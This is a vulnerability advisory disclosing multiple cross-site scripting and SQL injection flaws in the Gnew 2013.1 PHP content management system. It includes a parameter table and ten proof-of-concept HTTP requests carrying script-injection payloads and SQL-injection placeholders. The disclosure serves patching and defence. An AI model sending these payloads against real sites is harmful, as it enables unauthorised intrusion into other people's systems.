Gnew 2013.1 Cross Site Scripting / SQL Injection

`  
Gnew v2013.1 Multiple XSS And SQL Injection Vulnerabilities  
  
  
Vendor: Raoul Proença  
Product web page: http://www.gnew.fr  
Affected version: 2013.1  
  
Summary: Gnew is a simple Content Management  
System written with PHP language and using a  
database server (MySQL, PostgreSQL or SQLite)  
for storage.  
  
Desc: Input passed via several parameters is not properly  
sanitised before being returned to the user or used in SQL  
queries. This can be exploited to manipulate SQL queries  
by injecting arbitrary SQL code and HTML/script code in a  
user's browser session in context of an affected site.  
  
  
============================================================================================  
| PARAM | TYPE | FILE |  
============================================================================================  
| |  
| gnew_template | XSS | /users/profile.php, /articles/index.php, /admin/polls.php |  
|------------------------------------------------------------------------------------------|  
| category_id | XSS | /news/submit.php |  
|------------------------------------------------------------------------------------------|  
| news_id | XSS, SQLi | /news/send.php, /comments/add.php |  
|------------------------------------------------------------------------------------------|  
| post_subject | XSS | /posts/edit.php |  
|------------------------------------------------------------------------------------------|  
| thread_id | XSS, SQLi | /posts/edit.php |  
|------------------------------------------------------------------------------------------|  
| user_email | SQLi | /users/register.php, /users/password.php |  
| |  
============================================================================================  
  
  
  
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)  
Apache 2.4.2 (Win32)  
PHP 5.4.7  
MySQL 5.5.25a  
  
  
Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
  
Advisory ID: ZSL-2013-5153  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5153.php  
  
  
  
23.07.2013  
  
---  
  
  
#1 [xss]  
  
GET /gnew/users/profile.php HTTP/1.1  
Host: localhost  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://localhost/gnew/admin/index.php  
Cookie: PHPSESSID=8nta354i78d5att3l2gkh9g573; gnew_date_format=D%2C+M+jS+Y%2C+g%3Ai+a; gnew_date_offset=0; gnew_language=english; gnew_template=clean"><script>alert(1)</script>  
Connection: keep-alive  
  
  
#2 [xss]  
  
POST /gnew/news/submit.php HTTP/1.1  
Content-Length: 112  
Content-Type: application/x-www-form-urlencoded  
Referer: http://localhost:80/gnew/  
Host: localhost  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
  
category_id=1"><script>alert(2);</script>&news_source=1&news_subject=1&news_text=1&preview=Preview&submit=Submit  
  
  
#3 [xss]  
  
POST /gnew/news/send.php HTTP/1.1  
Content-Type: application/x-www-form-urlencoded  
Referer: http://localhost:80/gnew/  
Host: localhost  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
  
[email protected]&html_email=1&news_id=572"><script>alert(3);</script>&send=Send&[email protected]&user_name=admin  
  
  
#4 [xss]  
  
POST /gnew/comments/add.php HTTP/1.1  
Content-Length: 96  
Content-Type: application/x-www-form-urlencoded  
Referer: http://localhost:80/gnew/  
Host: localhost  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
  
add=Add&comment_subject=1&comment_text=1&news_id=574"><script>alert(4);</script>&preview=Preview  
  
  
#5 [sqli]  
  
POST /gnew/news/send.php HTTP/1.1  
Content-Type: application/x-www-form-urlencoded  
Referer: http://localhost:80/gnew/  
Host: localhost  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
  
[email protected]&html_email=1&news_id=572{SQL Injection}&send=Send&[email protected]&user_name=admin  
  
  
#6 [xss]  
  
POST /gnew/posts/edit.php HTTP/1.1  
Content-Length: 153  
Content-Type: application/x-www-form-urlencoded  
Referer: http://localhost:80/gnew/  
Host: localhost  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
  
category_id=1&edit=Edit&post_creation=1374594465&post_id=6&post_subject=zsl"><script>alert(5);</script>&post_text=test&preview_edited=Preview&thread_id=6  
  
  
#7 [xss]  
  
POST /gnew/posts/edit.php HTTP/1.1  
Content-Length: 184  
Content-Type: application/x-www-form-urlencoded  
Referer: http://localhost:80/gnew/  
Host: localhost  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
  
category_id=1&edit=Edit&post_creation=1374594465&post_id=6&post_subject=test&post_text=test&preview_edited=Preview&thread_id=6"><script>alert(6);</script>  
  
  
#8 [sqli]  
  
POST /gnew/posts/edit.php HTTP/1.1  
Host: localhost  
Content-Length: 127  
Content-Type: application/x-www-form-urlencoded  
Referer: http://localhost:80/gnew/  
Host: localhost  
Connection: Keep-alive  
Accept-Encoding: gzip,deflate  
  
category_id=1&edit=Edit&post_creation=1374594465&post_id=6&post_subject=test&post_text=test&preview_edited=Preview&thread_id=6{SQL Injection}  
  
  
#9 [sqli]  
  
POST /gnew/users/password.php HTTP/1.1  
Host: localhost  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://localhost/gnew/users/password.php  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 40  
  
user_name=test&user_email={SQL Injection}&password=Send  
  
  
#10 [sqli]  
  
POST /gnew/users/register.php HTTP/1.1  
Host: localhost  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://localhost/gnew/users/password.php  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 40  
  
user_name=test&user_email={SQL Injection}&password=Send  
`